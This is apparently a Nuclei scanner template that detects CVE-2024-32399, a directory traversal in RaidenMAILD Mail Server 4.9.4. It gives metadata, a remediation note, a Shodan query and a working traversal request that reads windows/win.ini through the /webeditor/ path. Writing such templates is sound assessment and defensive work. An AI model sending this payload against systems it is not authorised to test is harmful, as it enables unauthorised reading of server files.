id: CVE-2024-32399

info:
  name: RaidenMAILD Mail Server v.4.9.4 - Path Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    Directory Traversal vulnerability in RaidenMAILD Mail Server v.4.9.4 and before allows a remote attacker to obtain sensitive information via the /webeditor/ component.
  impact: |
    Attackers can traverse directories to obtain sensitive information from the mail server.
  remediation: |
    Update RaidenMAILD to a version later than 4.9.4 that patches the directory traversal vulnerability.
  reference:
    - https://owasp.org/www-community/attacks/Path_Traversal
    - https://github.com/NN0b0dy/CVE-2024-32399/blob/main/README.md
    - https://github.com/NN0b0dy/c01/blob/main/01.pdf
    - https://github.com/NN0b0dy/CVE-2024-32399
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cve-id: CVE-2024-32399
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
    cvss-score: 7.6
    epss-score: 0.0316
    epss-percentile: 0.86702
    cpe: cpe:2.3:a:raidenmaild:raidenmaild:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"RaidenMAILD"
    product: raidenmaild
    vendor: raidenmaild
  tags: cve,cve2024,lfi,raiden,mail,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webeditor/../../../windows/win.ini"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "[fonts]", "for 16-bit app support")'
          - 'contains(header, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221008f7f87d77ac8a3003903924d03fb00c5f5ffb3778c9cd11abc16dc12a25e22c8022018d1f60c044e550e47b331252f76f8a15d8a106a98bf3285f0cb7e1357e3a4e9:922c64590222798bb761d5b6d8e72950